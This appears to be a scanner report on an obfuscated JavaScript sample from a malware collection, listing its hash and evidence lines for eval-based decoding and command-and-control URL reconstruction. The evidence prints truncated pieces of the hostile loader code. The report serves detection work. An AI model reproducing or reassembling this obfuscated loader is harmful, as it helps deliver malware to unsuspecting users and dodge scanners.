Suspicious ^80% javascript-malware-collection Download

871382cef470e5dbeef659c989c863a58794ad604a15792f99b39c71b65a3614.js

obfuscated eval, C2 reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256871382cef470e5dbeef659c989c863a58794ad604a15792f99b39c71b65a3614

Evidence

Builds characters with String.fromCharCode line 2

2:150… '`','x','i','H','c','c','{','-','b','^','<','b','P','_','(',';',String.fromCharCode(10),'M',')','P','=','M','F','v',',','?','<','*','*','s','d','u',String.fromCharCode(13),'H','R','1','X','G',';','*','w','e','k' …

XOR URL reconstruction call line 2

2:1858… '$','Y','?','w','#','h','Z','Q','t','B','[','B','{','d','i',';',String.fromCharCode(92),'!',']','V','D','0','6','b','Q','H','u','^','_','c','+',',','O','R','`','1','(','_','a','{','(','J','c',']','U',';','b','U','N','O','c','o','v','X','L','z','0','d','x','_ …

Calls JavaScript toString conversion method lines 4–10

4:44… wHrrOV){kMWJ=XSYvFTeHGQDUdVxoI(qFglfAHEuvs,FBxnxDZWEJUYo);YMrVu=kMWJ.toString(xOwHrrOV);return YMrVu;}
5function aaZWxdZhbNFfrfq(ecyKVOxFMJCWSVoCB,AXmCXBUKAwahYKjmXePPmfLIjXYhIHctNZ,jRckNMvlsssSDJJSGskeNtVmPknprdWLncm){eval(ecyKVOxFMJCWSVoCB);}
6function rQJdkPlanYZPntQkyRNjRzeuFbcVDWvRmzTtfaSlpLhvhbkPHcaEOT(lQehMKAExwgyI,aksirowgqnqHNW){ return XOldQXA[uwqydwSH[GrfGb(lQehMKAExwgyI[aksirowgqnqHNW],(2645+435)/110,(7621+159)/778)]];}
7function rHStctG(uTMwNeWHpeBGtTxDOVceQlVgmDukaIkdhUiI) {return !ACHmHgLDSDA(lwbJQtBBPkngSMd(uTMwNeWHpeBGtTxDOVceQlVgmDukaIkdhUiI)) && apqtVrNTuPrG(uTMwNeWHpeBGtTxDOVceQlVgmDukaIkdhUiI);}
8function ACHmHgLDSDA(dgznfhCbPxPFyo) {return isNaN(dgznfhCbPxPFyo);}
9function apqtVrNTuPrG(ghfygcIuCCOYB) {return isFinite(ghfygcIuCCOYB);}
10function X …

Dense indexed short-token grid lines 12–13

12:33… UQYTday,MvAEtQVVfkX) {pRFMlzypVBqaVa[DdgrxiUQYTday]=MvAEtQVVfkX;}
13var H = new Array();H[0]=[];H[0][0]='d';H[0][1]='a';H[0][2]='d';H[0][3]='a';H[0][4]='46';H[0][5]='3d';H[0][6]='42';H[0][7]='14';H[0][8]='2a';H[0][9]='14';H[0][10]='25';H[0][11]='14';H[0][12]='16';H[0][13]='47';H[0][14]='3k';H[0][15]='3d';H[0][16]='44';H[0][17]='3g';H[0][18]='3l';H[0][19]='3g';H[0][20]='49';H[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],H[4],H[5]];
20var oPLQQqfFs=[];
21function xQoSEZCZvQlNgRRkk(yTVMy){CXzJDGIpwLC= '';mvByWlOAcOX=Math.round((Math.pow(Math.sin(164), 2) + Math.pow(Math.cos(164), 2) - 1));while(true){if (mvByWlOAcOX >= (4070+418)/748){break;}oPLQQqfFs[mvByWlOAcOX]=Math.round((Math.pow(Math.sin(122), 2) + Math.pow(Math.cos(122), 2) - 1)); while(true) { if(oPLQQqfFs[mvByWlOAcOX] > yTVMy[mvByWlOAcOX].length-(-73+170)/97) { break; } if (rHStctG(GrfGb(yTVMy[mvByWlOAcOX][oPLQQqfFs[mvByWlOAcOX]],(10745+679)/408,(6754+716)/747))) {CXzJDGIpwLC += rQJdkPlanYZPntQkyRNjRzeuFbcVDWvRmzTtfaSlpLhvhbkPHcaEOT([yTVMy[mvByWlOAcOX][oPLQQqfFs[mvByWlOAcOX]]], Math.round((Math.pow(Math.sin(449), 2) + Math.pow(Math.cos(449), 2) - 1)));} oPLQQqfFs[mvByWlOAcOX]++;}mvByWlOAcOX++;} return CXzJDGIpwLC}
22var cvbjdemWTgXSHtawXULdtDTBChcEQtSKi = 'yJnLeIIjxqPTCwtbAoAXFsFhqffhvnevUHzP';var jvrwQYzaJzLxgcZZZNMcPfKqrrYQbapI = 'FUwwuLXlmVkzUWGtXYuLwzdtUsikPvUTNnbD';aaZWxdZhbNFfrfq(xQoSEZCZvQlNgRRkk(yTVMy),cvbjdemWTgXSHtawXULdtDTBChcEQtSKi,jvrwQYzaJzLxgcZZZNMcPfKqrrYQbapI);